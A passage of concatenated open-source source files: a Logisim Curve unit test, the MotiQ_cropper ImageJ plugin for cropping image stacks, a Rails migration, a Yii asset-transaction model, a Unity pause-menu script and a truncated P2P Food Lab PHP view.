Curve(loca2, loc2, loca3); assertEquals(false, cur1.matches(null)); assertEquals(false, cur2.matches(null)); assertEquals(false, cur3.matches(null)); assertEquals(false, cur4.matches(null)); } @Test public void test3() { //the method should return false when the input is null Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 20); Location loca2 = Location.create(16, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca2, loc2, loca3); assertEquals(false, cur1.matches(null)); assertEquals(false, cur2.matches(null)); assertNotEquals(true, cur3.matches(null)); assertNotEquals(true, cur4.matches(null)); } @Test public void test4() { //tests that it matches the position correctly in the first location Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(5, 21); Location loca2 = Location.create(15, 25); Location loca3 = Location.create(20, 30); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca1, loca2, loca3); assertEquals(true, cur1.matches(cur2)); assertNotEquals(true, cur1.matches(cur3)); assertNotEquals(true, cur1.matches(cur4)); } @Test public void test5() { //tests that it matches the position correctly in the third location Location loc1 = Location.create(10, 20); Location loc2 = Location.create(15, 25); Location loc3 = Location.create(20, 30); Location loca1 = Location.create(10, 2); Location loca2 = Location.create(15, 25); Location loca3 = Location.create(171, 328); Curve cur1 = new Curve(loc1, loc2, loc3); Curve cur2 = new Curve(loc1, loc2, loc3); Curve cur3 = new Curve(loca1, loca2, loca3); Curve cur4 = new Curve(loca1, loca2, loca3); assertEquals(true, cur1.matches(cur2)); assertNotEquals(true, cur1.matches(cur3)); assertNotEquals(true, cur1.matches(cur4)); } }
aaorellana/Logisim-SeniorProject
TestCases/SeniorProjectTests/DrawShapes/Curve/Test_draw_shapes_Curve_matches.java
Java
gpl-3.0
4,222
/**=============================================================================== * * MotiQ_cropper plugin for ImageJ, Version v0.1.1 * * Copyright (C) 2014-2017 Jan Niklas Hansen * First version: December 01, 2014 * This Version: May 03, 2017 * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation (http://www.gnu.org/licenses/gpl.txt ) * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program. If not, see * <http://www.gnu.org/licenses/gpl-3.0.html>. * * For any questions please feel free to contact me (jan.hansen@caesar.de). * * ==============================================================================*/ package motiQ_cr; import java.awt.*; import java.awt.Font; import java.util.*; import ij.*; import ij.gui.*; import ij.io.*; import ij.measure.*; import ij.plugin.*; import ij.plugin.frame.*; import ij.text.*; import java.text.*; public class Cropper_ implements PlugIn, Measurements { static final String PLUGINNAME = "MotiQ_cropper"; static final String PLUGINVERSION = "v0.1.1"; static final SimpleDateFormat yearOnly = new SimpleDateFormat("yyyy"); //Fonts static final Font SuperHeadingFont = new Font("Sansserif", Font.BOLD, 16); static final Font HeadingFont = new Font("Sansserif", Font.BOLD, 14); static final Font SubHeadingFont = new Font("Sansserif", Font.BOLD, 12); static final Font InstructionsFont = new Font("Sansserif", 2, 12); //variables static final String roiPrefix = "Polygon_Stack_";// //Selection variables static final String[] taskVariant = {"process the active, open image","manually open image to be processed"}; String selectedTaskVariant = taskVariant[0]; static final String[] stackVariants = {"consecutive order (recommended for time-lapse 2D images)", "user-defined order (recommended for time-lapse and non-time-lapse 3D images)"}; String selectedStackVariant = stackVariants [0]; public void run(String arg) { //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //-------------------------GenericDialog-------------------------------------- //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& GenericDialog gd = new GenericDialog(PLUGINNAME + " - settings"); //show Dialog----------------------------------------------------------------- gd.setInsets(0,0,0); gd.addMessage(PLUGINNAME + ", version " + PLUGINVERSION + " (\u00a9 2014 - " + yearOnly.format(new Date()) + ", Jan Niklas Hansen)", SuperHeadingFont); gd.setInsets(0,0,0); gd.addChoice("Image:", taskVariant, selectedTaskVariant); gd.setInsets(5,0,0); gd.addChoice("Process stack in ", stackVariants, selectedStackVariant); gd.setInsets(10,0,0); gd.addCheckbox("Post processing, crop image to selected region", true); gd.setInsets(10,0,0); gd.showDialog(); //show Dialog----------------------------------------------------------------- //read and process variables-------------------------------------------------- String selectedTaskVariant = gd.getNextChoice(); selectedStackVariant = gd.getNextChoice(); boolean freeStackOrder = true; if(selectedStackVariant.equals(stackVariants[0])) freeStackOrder = false; boolean cropImage = gd.getNextBoolean(); //read and process variables-------------------------------------------------- if (gd.wasCanceled()) return; //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& //---------------------end-GenericDialog-end---------------------------------- //&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ImagePlus imp = new ImagePlus(); String name = new String(); String dir = new String(); //get folder and file name if (selectedTaskVariant.equals(taskVariant[1])){ OpenDialog od = new OpenDialog("List Opener", null); name = od.getFileName(); dir = od.getDirectory(); imp = IJ.openImage(""+dir+name+""); imp.show(); }else if (selectedTaskVariant.equals(taskVariant[0])){ imp = WindowManager.getCurrentImage(); FileInfo info = imp.getOriginalFileInfo(); name = info.fileName; //get name dir = info.directory; //get directory } final ImagePlus impSave = imp.duplicate(); impSave.hide(); final String impTitle = imp.getTitle(); //Get Image Properties int width = imp.getWidth(), height = imp.getHeight(), stacksize = imp.getStackSize(), slices = imp.getNSlices(), frames = imp.getNFrames(), channels = imp.getNChannels(); //check for hyperstack boolean hyperStack = true; if(channels == stacksize || frames == stacksize || slices == stacksize) hyperStack = false; //Generate backup image array double backupImage [][][] = new double [width][height][stacksize]; for(int z = 0; z < stacksize; z++){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ backupImage [x][y][z] = imp.getStack().getVoxel(x,y,z); } } } //Init ROI Manager RoiManager rm = RoiManager.getInstance(); if (rm==null) rm = new RoiManager(); rm.runCommand("reset"); running: while(true){ //Process Saving Name SimpleDateFormat NameDateFormatter = new SimpleDateFormat("yyMMdd_HHmmss"); Date currentDate = new Date(); String namewithoutending = name; if(name.contains(".")){ namewithoutending = name.substring(0,name.lastIndexOf("."));//Remove Datatype-Ending from name } String Dataname = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + "_Info.txt"; String DatanameImp = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + ".tif"; //Process Saving Name Roi roi; // imp.deleteRoi(); int aMaxX [] = new int [stacksize], aMaxY [] = new int [stacksize], aMinX [] = new int [stacksize], aMinY [] = new int [stacksize], aMaxZ = 0, aMinZ = (stacksize-1); for(int i = 0; i < stacksize; i++){ aMaxX [i] = 0; aMaxY [i] = 0; aMinX [i] = width-1; aMinY [i] = height-1; } rm.runCommand("reset"); int startStacking = 0; if(freeStackOrder==false){ SettingRois: while(true){ Stacking: for (int stack = startStacking; stack < stacksize; stack++){ IJ.selectWindow(imp.getID()); IJ.setTool("polygon"); imp.setPosition(stack+1); new WaitForUserDialog("Draw a ROI containing the cell of interest for stack image " + (stack+1) + "!").show(); //start Generic Dialog for navigation //Initialize variables for continue cutting dialog String [] continueVariants = new String [stack + 2 + 4]; continueVariants [0] = "remove remaining stack images, save, and finish"; continueVariants [1] = "apply the current ROI in all remaining stack images, save, and finish"; continueVariants [2] = "keep remaining stack images as is, save, and finish"; continueVariants [3] = "CONTINUE setting ROIs in next stack image (" + (stack+2) + ")"; for (int i = stack+1; i > 0; i--){ continueVariants [3 + (stack+2 - i)] = "restart setting ROIs from stack image " + i; } continueVariants [stack + 2 + 3] = "abort plugin"; //show Dialog GenericDialog gd2 = new GenericDialog(PLUGINNAME + ", version " + PLUGINVERSION); gd2.hideCancelButton(); gd2.setInsets(0,0,0); gd2.addMessage(PLUGINNAME + ", version " + PLUGINVERSION + " (\u00a9 2014 - " + yearOnly.format(new Date()) + ", Jan Niklas Hansen)", SuperHeadingFont); gd2.setInsets(5,0,0); gd2.addMessage("You currently have cropped image " + (stack+1) + "/" + stacksize + ".", InstructionsFont); gd2.setInsets(5,0,0); gd2.addMessage((stacksize - stack - 1) + " stack images remaining to process.", InstructionsFont); gd2.setInsets(5,0,0); gd2.addChoice("", continueVariants, continueVariants [3]); gd2.setInsets(5,0,0); gd2.addMessage("Note: if you restart in a previous stack image, all following stack images are reset.", InstructionsFont); gd2.showDialog(); //get Selections int continueVariantIndex = gd2.getNextChoiceIndex(); //end GenericDialog for navigation roi = imp.getRoi(); if(continueVariantIndex == continueVariants.length-1){ //abort break running; }else if(continueVariantIndex > 3){ //restart from previous frame int continueNr = (stack+2-(continueVariantIndex-3)); if(continueNr == stack+1){ imp.setPosition(stack+1); }else{ for(int z = (continueNr-1); z < stack; z++){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,z,backupImage[x][y][z]); } } //Reset of parameters aMaxX [z] = 0; aMaxY [z] = 0; aMinX [z] = width-1; aMinY [z] = height-1; //RoiManager resetten for(int r = (rm.getCount()-1); r >= 0; r--){ String roiName = rm.getName(r); if(roiName.equals(roiPrefix + (z+1) + "")){ rm.runCommand(imp,"Deselect"); rm.select(r); rm.runCommand(imp,"Delete"); } } } } aMaxZ = continueNr-2; if(roi!=null){ imp.setRoi(new PolygonRoi(roi.getPolygon(),Roi.POLYGON)); } startStacking = (continueNr-1); break Stacking; } //----------------------Extract Imagepart--------------------------- if(roi!=null){ Polygon p = roi.getPolygon(); for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ double pxintensity = imp.getStack().getVoxel(x,y,stack); if(p.contains(x,y)==false&&pxintensity!=0){ imp.getStack().setVoxel( x, y, stack, 0.0); }else if(p.contains(x,y)){ if(aMinX [stack] > x){aMinX[stack]=x;} if(aMaxX [stack] < x){aMaxX[stack]=x;} if(aMinY [stack] > y){aMinY[stack]=y;} if(aMaxY [stack] < y){aMaxY[stack]=y;} } } } if(aMinZ > stack){aMinZ=stack;} if(aMaxZ < stack){aMaxZ=stack;} }else{ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel( x, y, stack, 0.0); } } // IJ.log("No ROI was selected in image " + stack); } //----------------------Extract Imagepart--------------------------- if(roi!=null){ rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (stack+1) + ""); } if(stack == stacksize-1){ //stop setting ROIs, if all images are processed break SettingRois; } if(continueVariantIndex == 1 && roi!=null){ //Finish and apply current ROI to all remaining stack images Polygon p = roi.getPolygon(); for (int stackRoi = stack+1; stackRoi < stacksize; stackRoi++){ if(roi!=null){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ double pxintensity = imp.getStack().getVoxel(x,y,stackRoi); if(p.contains(x,y)==false&&pxintensity!=0){ imp.getStack().setVoxel( x, y, stackRoi, 0.0); }else if(p.contains(x,y)){ if(aMinX [stackRoi] > x){aMinX[stackRoi]=x;} if(aMaxX [stackRoi] < x){aMaxX[stackRoi]=x;} if(aMinY [stackRoi] > y){aMinY[stackRoi]=y;} if(aMaxY [stackRoi] < y){aMaxY[stackRoi]=y;} } } } if(aMinZ > stackRoi){aMinZ=stackRoi;} if(aMaxZ < stackRoi){aMaxZ=stackRoi;} rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (stackRoi+1) + ""); }else{ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel( x, y, stackRoi, 0.0); } } // IJ.log("No ROI was selected in image " + stackRoi); } } break SettingRois; }else if(continueVariantIndex == 0 || (continueVariantIndex == 1 && roi==null)){ //Finish and remove remaining stack images if(cropImage==false){ for(int z = stack+1; z < stacksize; z++){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,z,0.0); } } } } break SettingRois; }else if(continueVariantIndex == 2){ //Keep remaining stack images and finish for (int stackRoi = stack+1; stackRoi < stacksize; stackRoi++){ aMinX[stackRoi]=0; aMaxX[stackRoi]=imp.getWidth()-1; aMinY[stackRoi]=0; aMaxY[stackRoi]=imp.getHeight()-1; if(aMinZ > stackRoi){aMinZ=stackRoi;} aMaxZ=stackRoi; } break SettingRois; } imp.updateImage(); } } }else{ //list of processed images boolean imageCropped [] = new boolean [stacksize]; for(int i = 0; i < stacksize; i++){ imageCropped [i] = false; } //Variables for intermediate dialog int continueIndex = 5; String [] continueVariants; if(hyperStack){ continueVariants = new String [7]; continueVariants [5] = "CONTINUE setting ROIs in closest remaining slice"; continueVariants [6] = "CONTINUE setting ROIs in closest remaining frame"; }else{ continueVariants = new String [6]; continueVariants [5] = "CONTINUE setting ROIs in closest remaining stack image"; } continueVariants [0] = "abort plugin"; continueVariants [1] = "clear remaining stack images, save, and finish"; continueVariants [2] = "apply the current ROI in all remaining stack images, save, and finish"; continueVariants [3] = "keep remaining stack images as is, save, and finish"; continueVariants [4] = "CONTINUE setting ROIs but stay at current stack position"; SettingRois: while(true){ IJ.setTool("polygon"); IJ.selectWindow(imp.getID()); int stack = 0; int cSlice = imp.getSlice()-1, cFrame = imp.getFrame()-1, cChannel = imp.getChannel()-1; waitingDialog: while(true){ new WaitForUserDialog("Draw a ROI in your preferred slice!").show(); cSlice = imp.getSlice()-1; cFrame = imp.getFrame()-1; cChannel = imp.getChannel()-1; roi = imp.getRoi(); stack = imp.getCurrentSlice()-1; if(imageCropped[stack]==true){ YesNoCancelDialog confirm = new YesNoCancelDialog(IJ.getInstance(),"Action required", "Previously, you had already set a ROI for stack image " + (stack+1) + ". Do you want to reset the image using the new ROI?"); if (confirm.yesPressed()){ imageCropped[stack] = false; for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,stack,backupImage[x][y][stack]); } } //Reset of parameters aMaxX [stack] = 0; aMaxY [stack] = 0; aMinX [stack] = width-1; aMinY [stack] = height-1; //Reset RoiManager for(int z = 0; z < rm.getCount(); z++){ String roiName = rm.getName(z); if(roiName.contains(roiPrefix)){ int stackRoiNr = Integer.parseInt(roiName.substring(roiPrefix.length())); if(stackRoiNr==(stack+1)){ rm.runCommand(imp,"Deselect"); rm.select(z); rm.runCommand(imp,"Delete"); } } } break waitingDialog; } }else{ break waitingDialog; } } imageCropped [stack] = true; //----------------------Extract Imagepart--------------------------- if(roi!=null){ Polygon p = roi.getPolygon(); for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ double pxintensity = imp.getStack().getVoxel(x,y,stack); if(p.contains(x,y)==false&&pxintensity!=0.0){ imp.getStack().setVoxel(x, y, stack, 0.0); }else if(p.contains(x,y)){ if(aMinX [stack] > x){aMinX[stack]=x;} if(aMaxX [stack] < x){aMaxX[stack]=x;} if(aMinY [stack] > y){aMinY[stack]=y;} if(aMaxY [stack] < y){aMaxY[stack]=y;} } } } }else{ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x, y, stack, 0.0); } } // IJ.log("No ROI was selected in image " + (stack+1)); } //----------------------Extract Imagepart--------------------------- if(roi!=null){ rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (stack+1) + ""); } // Generic Dialog for navigation //Initialize variables for continue cutting dialog //Count remaining frames int cutImgCt = 0; for(int i = 0; i<stacksize; i++){ if(imageCropped[i]){ cutImgCt++; } } //Finish analysis if all images have been cut if(cutImgCt == stacksize) break SettingRois; //generate list of cut images String [] croppedImagesOverview = new String [cutImgCt]; int cutImgCt2 = 0; for(int i = 1; i <= stacksize; i++){ if(imageCropped[i-1]){ croppedImagesOverview [cutImgCt2] = "" + (i); cutImgCt2++; } } //show Dialog GenericDialog gd2 = new GenericDialog(PLUGINNAME + ", version " + PLUGINVERSION); gd2.hideCancelButton(); gd2.setInsets(0,0,0); gd2.addMessage(PLUGINNAME + ", version " + PLUGINVERSION + " (\u00a9 2014 - " + yearOnly.format(new Date()) + ", Jan Niklas Hansen)", SuperHeadingFont); gd2.setInsets(5,0,0); gd2.addMessage("You currently cropped image " + (stack+1) + "/" + stacksize + ".", InstructionsFont); gd2.setInsets(5,0,0); gd2.addMessage((stacksize - stack - 1) + " stack images remaining to process.", InstructionsFont); gd2.setInsets(5,0,0); gd2.addChoice("", continueVariants, continueVariants [continueIndex]); gd2.setInsets(15,0,0); gd2.addCheckbox("Reset specific stack image", false); gd2.setInsets(-25,80,0); gd2.addChoice("", croppedImagesOverview , croppedImagesOverview[0]); gd2.showDialog(); //read and process variables continueIndex = gd2.getNextChoiceIndex(); boolean resetFrame = gd2.getNextBoolean(); int resetNr = Integer.parseInt(gd2.getNextChoice())-1; // Generic Dialog for navigation if(continueIndex == 0){ //abort break running; } if(continueIndex==1 || (continueIndex==2 && roi==null)){ //clear remaining stack images, save and finish for(int i = 0; i<stacksize; i++){ if(imageCropped[i]==false){ for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,i,0.0); } } } } break SettingRois; } if(continueIndex==2 && roi!=null){ //apply the current ROI in all remaining stack images, save, and finish" for(int i = 0; i < stacksize; i++){ if(imageCropped [i]==false){ Polygon p = roi.getPolygon(); for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ if(p.contains(x,y)==false){ imp.getStack().setVoxel(x, y, i, 0.0); }else if(p.contains(x,y)){ if(aMinX [i] > x){aMinX [i] = x;} if(aMaxX [i] < x){aMaxX [i] = x;} if(aMinY [i] > y){aMinY [i] = y;} if(aMaxY [i] < y){aMaxY [i] = y;} } } } imageCropped [i] = true; if(roi!=null){ rm.add(imp, roi, rm.getCount()); rm.select(imp, rm.getCount()-1); rm.runCommand("Rename", roiPrefix + (i+1) + ""); } } } break SettingRois; } if(continueIndex==3){ //keep remaining stack images as is, save and finish for(int i = 0; i<stacksize; i++){ if(imageCropped[i]==false){ aMinX[i]=0; aMaxX[i]=imp.getWidth(); aMinY[i]=0; aMaxY[i]=imp.getHeight(); imageCropped [i] = true; } } break SettingRois; } if(resetFrame){ imp.setPosition(resetNr+1); imageCropped[resetNr] = false; for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ imp.getStack().setVoxel(x,y,resetNr,backupImage[x][y][resetNr]); } } //Reset of parameters aMaxX [resetNr] = 0; aMaxY [resetNr] = 0; aMinX [resetNr] = width-1; aMinY [resetNr] = height-1; //Rest RoiManager for(int z = 0; z < rm.getCount(); z++){ String roiName = rm.getName(z); if(roiName.contains(roiPrefix)){ int stackRoiNr = Integer.parseInt(roiName.substring(roiPrefix.length())); if(stackRoiNr==(resetNr+1)){ rm.runCommand(imp,"Deselect"); rm.select(z); rm.runCommand(imp,"Delete"); } } } imp.setRoi(roi); } if(continueIndex == 5){ //Auto-moving to next remaining slice or stack image moving: for(int i = 0; i < stacksize; i++){ if(stack+i<stacksize){ if(imageCropped[stack+i]==false){ imp.setPosition(stack+i+1); break moving; } } if(stack-i>=0){ if(imageCropped[stack-i]==false){ imp.setPosition(stack-i+1); break moving; } } } }else if(continueIndex == 6){ //Auto-moving to next remaining frame boolean found = false; search: while(true){ moving: for(int i = 0; i < frames; i++){ if(stack+i*slices<stacksize){ if(imageCropped[stack+i*slices]==false){ imp.setPosition(stack+i*slices+1); found = true; break moving; } } if(stack-i*slices>=0){ if(imageCropped[stack-i*slices]==false){ imp.setPosition(stack-i*slices+1); found = true; break moving; } } } if(found){ break search; }else{ //move to next remaining stack moving: for(int i = 0; i < stacksize; i++){ if(stack+i<stacksize){ if(imageCropped[stack+i]==false){ imp.setPosition(stack+i+1); break moving; } } if(stack-i>=0){ if(imageCropped[stack-i]==false){ imp.setPosition(stack-i+1); break moving; } } } } } } //if image is a hyperstack, search for the closest frame's / slice's / channel's ROI if(hyperStack){ cFrame = imp.getFrame(); cChannel = imp.getChannel(); cSlice = imp.getSlice(); int z; searching: for(int f = 1; f+cFrame <= frames || cFrame-f > 0; f++){ for(int c = 0; cChannel + c <= channels || cChannel-c > 0; c++){ for(int j = 0; j < rm.getCount(); j++){ z = imp.getStackIndex(cChannel+c, cSlice, cFrame+f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } z = imp.getStackIndex(cChannel-c, cSlice, cFrame+f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } z = imp.getStackIndex(cChannel-c, cSlice, cFrame-f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } z = imp.getStackIndex(cChannel+c, cSlice, cFrame-f); if(rm.getRoi(j).getName().equals(roiPrefix + (z) + "")){ imp.setRoi(new PolygonRoi(rm.getRoi(j).getPolygon(),Roi.POLYGON)); break searching; } } } } }else{ imp.setRoi(new PolygonRoi(rm.getRoi(rm.getCount()-1).getPolygon(),Roi.POLYGON)); } imp.updateImage(); } for(int z = 0; z < stacksize; z++){ boolean zTrue = false; for(int x = 0; x < width; x++){ for(int y = 0; y < height; y++){ if(imp.getStack().getVoxel(x,y,z)!=0.0){ zTrue = true; } } } if(zTrue){ if(aMinZ > z){aMinZ=z;} if(aMaxZ < z){aMaxZ=z;} } } } if(cropImage){ int max_x = 0, max_y = 0, min_x = width-1, min_y = height-1, max_z = aMaxZ, min_z = aMinZ; for(int i = 0; i < stacksize; i++){ if(min_x > aMinX[i]){min_x=aMinX[i];} if(max_x < aMaxX[i]){max_x=aMaxX[i];} if(min_y > aMinY[i]){min_y=aMinY[i];} if(max_y < aMaxY[i]){max_y=aMaxY[i];} } if(min_x > 0) {min_x--;} if(max_x < (width-1)) {max_x++;} if(min_y > 0) {min_y--;} if(max_y < (height-1)) {max_y++;} imp.deleteRoi(); Roi RoiCut = new Roi(min_x, min_y, max_x-min_x+1, max_y-min_y+1); IJ.selectWindow(imp.getID()); imp.setRoi(RoiCut); IJ.run(imp, "Crop", ""); imp.getCalibration().xOrigin = imp.getCalibration().xOrigin + min_x; imp.getCalibration().yOrigin = imp.getCalibration().yOrigin + min_y; if(!hyperStack){ imp.getCalibration().zOrigin = imp.getCalibration().zOrigin + min_z; for(int stack = stacksize-1; stack >= 0; stack--){ if(stack<min_z){ IJ.selectWindow(imp.getID()); imp.setPosition(stack+1); IJ.run(imp, "Delete Slice", ""); } if(stack>max_z){ IJ.selectWindow(imp.getID()); imp.setPosition(stack+1); IJ.run(imp, "Delete Slice", ""); } } } SimpleDateFormat FullDateFormatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); TextPanel tp =new TextPanel("Metadata"); tp.append("Cropping started: " + FullDateFormatter.format(currentDate)); if(freeStackOrder){ tp.append("During cropping free stack order mode was used."); } tp.append("Image Cropping Info (Min Values have to be added to any pixel position in the new image " + "to find positions in the original image)"); tp.append(" Min X: " + min_x + " Max X: " + max_x); tp.append(" Min Y: " + min_y + " Max Y: " + max_y); if(!hyperStack){ tp.append(" Min Z: " + min_z + " Max Z: " + max_z + " (0 = smallest)"); }else{ tp.append(""); } tp.append(""); tp.append("Datafile was generated by '"+PLUGINNAME+"', \u00a9 2014 - " + yearOnly.format(new Date()) + " Jan Niklas Hansen (jan.hansen@caesar.de)."); tp.append("The plugin '"+PLUGINNAME+"' is distributed in the hope that it will be useful," + " but WITHOUT ANY WARRANTY; without even the implied warranty of" + " MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE."); tp.append("Plugin version: "+PLUGINVERSION); tp.saveAs(Dataname); DatanameImp = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + "_X" + min_x + "_Y" + min_y + "_Z" + min_z + ".tif"; } imp.deleteRoi(); IJ.saveAsTiff(imp,DatanameImp); // Save RoiSet String Roi_Dataname = ""+dir+namewithoutending+"_CUT_" + NameDateFormatter.format(currentDate) + "_RoiSet.zip"; rm.runCommand("Save", Roi_Dataname); // Save RoiSet imp.changes = false; imp.close(); YesNoCancelDialog confirm = new YesNoCancelDialog(IJ.getInstance(),"Do it again?", "Your selection was saved. Do you want to cut out another region in the same stack?"); if (confirm.yesPressed()){ imp = impSave.duplicate(); imp.setTitle(impTitle); imp.show(); }else{break running;} } } }
hansenjn/MotiQ
Cropper/src/main/java/motiQ_cr/Cropper_.java
Java
gpl-3.0
27,906
class AddUserIdToBalances < ActiveRecord::Migration[5.0] def change add_column :balances, :user_id, :integer end end
kizzonia/TBTC
db/migrate/20170709204817_add_user_id_to_balances.rb
Ruby
gpl-3.0
125
<?php namespace common\modules\fa\models; use Yii; /** * This is the model class for table "{{%fa_asset_trasaction}}". * * @property string $fa_asset_trasaction_id * @property integer $fa_asset_id * @property integer $transaction_type_id * @property string $quantity * @property string $amount * @property string $description * @property string $status * @property string $reference * @property integer $accounted_cb * @property integer $created_by * @property string $creation_date * @property integer $last_update_by * @property string $last_update_date * @property integer $company_id */ class FaAssetTrasaction extends \yii\db\ActiveRecord { /** * @inheritdoc */ public static function tableName() { return '{{%fa_asset_trasaction}}'; } /** * @inheritdoc */ public function rules() { return [ [['fa_asset_id', 'created_by', 'last_update_by'], 'required'], [['fa_asset_id', 'transaction_type_id', 'accounted_cb', 'created_by', 'last_update_by', 'company_id'], 'integer'], [['quantity', 'amount'], 'number'], [['creation_date', 'last_update_date'], 'safe'], [['description'], 'string', 'max' => 256], [['status'], 'string', 'max' => 25], [['reference'], 'string', 'max' => 50], [['fa_asset_id'], 'unique'], [['transaction_type_id'], 'unique'], [['fa_asset_id', 'quantity'], 'unique', 'targetAttribute' => ['fa_asset_id', 'quantity'], 'message' => 'The combination of Fa Asset ID and Quantity has already been taken.'], ]; } /** * @inheritdoc */ public function attributeLabels() { return [ 'fa_asset_trasaction_id' => Yii::t('app', 'Fa Asset Trasaction ID'), 'fa_asset_id' => Yii::t('app', 'Fa Asset ID'), 'transaction_type_id' => Yii::t('app', 'Transaction Type ID'), 'quantity' => Yii::t('app', 'Quantity'), 'amount' => Yii::t('app', 'Amount'), 'description' => Yii::t('app', 'Description'), 'status' => Yii::t('app', 'Status'), 'reference' => Yii::t('app', 'Reference'), 'accounted_cb' => Yii::t('app', 'Accounted Cb'), 'created_by' => Yii::t('app', 'Created By'), 'creation_date' => Yii::t('app', 'Creation Date'), 'last_update_by' => Yii::t('app', 'Last Update By'), 'last_update_date' => Yii::t('app', 'Last Update Date'), 'company_id' => Yii::t('app', 'Company ID'), ]; } }
zeddarn/yinoerp
_protected/common/modules/fa/models/FaAssetTrasaction.php
PHP
gpl-3.0
2,611
using UnityEngine; public class PauseMenuHandler : MonoBehaviour { public void ResumeGame() { MenuSystem.instance.ResumeGame(); } public void AbortGame() { MenuSystem.instance.AbortGame(); } }
Rezmason/Gamut
Assets/UI Scripts/PauseMenuHandler.cs
C#
gpl-3.0
199
<?php /* P2P Food Lab P2P Food Lab is an open, collaborative platform to develop an alternative food value system. Copyright (C) 2013 Sony Computer Science Laboratory Paris Author: Peter Hanappe This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ if (1) { $osd = new OpenSensorData(null, null, null); $start_timestamp = date("U"); $end_timestamp = 0; $datastreams = $this->group->datastreams; for ($j = 0; $j < count($datastreams); $j++) { $datastream = $datastreams[$j]; if (isset($this->datastreams[$datastream->id])) { $interval = $osd->get_datastream_interval($datastream->id); if ($interval && (count($interval) >= 2)) { $s = strtotime($interval[0]); $e = strtotime($interval[1]); //echo "datastream " . $datastream->id . ": start " . date("Y-m-d H:i:s", $s) . ", end " . date("Y-m-d H:i:s", $e) . "<br>\n"; if ($s < $start_timestamp) $start_timestamp = $s; if ($e > $end_timestamp) $end_timestamp = $e; } } } $start_year = date("Y", $start_timestamp); $start_month = date("m", $start_timestamp); $start_day = date("d", $start_timestamp); $end_year = date("Y", $end_timestamp); $end_month = date("m", $end_timestamp); $end_day = date("d", $end_timestamp); } else { $start_year = date("Y"); $start_month = date("m"); $start_day = 1; $end_year = $start_year; $end_month = $start_month; $end_day = date("d"); } $start_date = sprintf("%04d-%02d-%02d", $start_year, $start_month, $start_day); $start_date_js = sprintf('%04d,%02d,%02d', $start_year, ($start_month-1), $start_day); $end_date = sprintf("%04d-%02d-%02d", $end_year, $end_month, $end_day); $end_date_js = sprintf('%04d,%02d,%02d', $end_year, ($end_month-1), $end_day); $range = sprintf("%04d%02d%02d/%04d%02d%02d", $start_year, $start_month, $start_day, $end_year, $end_month, $end_day); ?> <script type="text/javascript"> var startDate = new Date(<?php echo $start_date_js ?>); var endDate = new Date(<?php echo $end_date_js ?>); <?php echo "var graphs = []\n"; echo "var slideshows = []\n"; echo "var 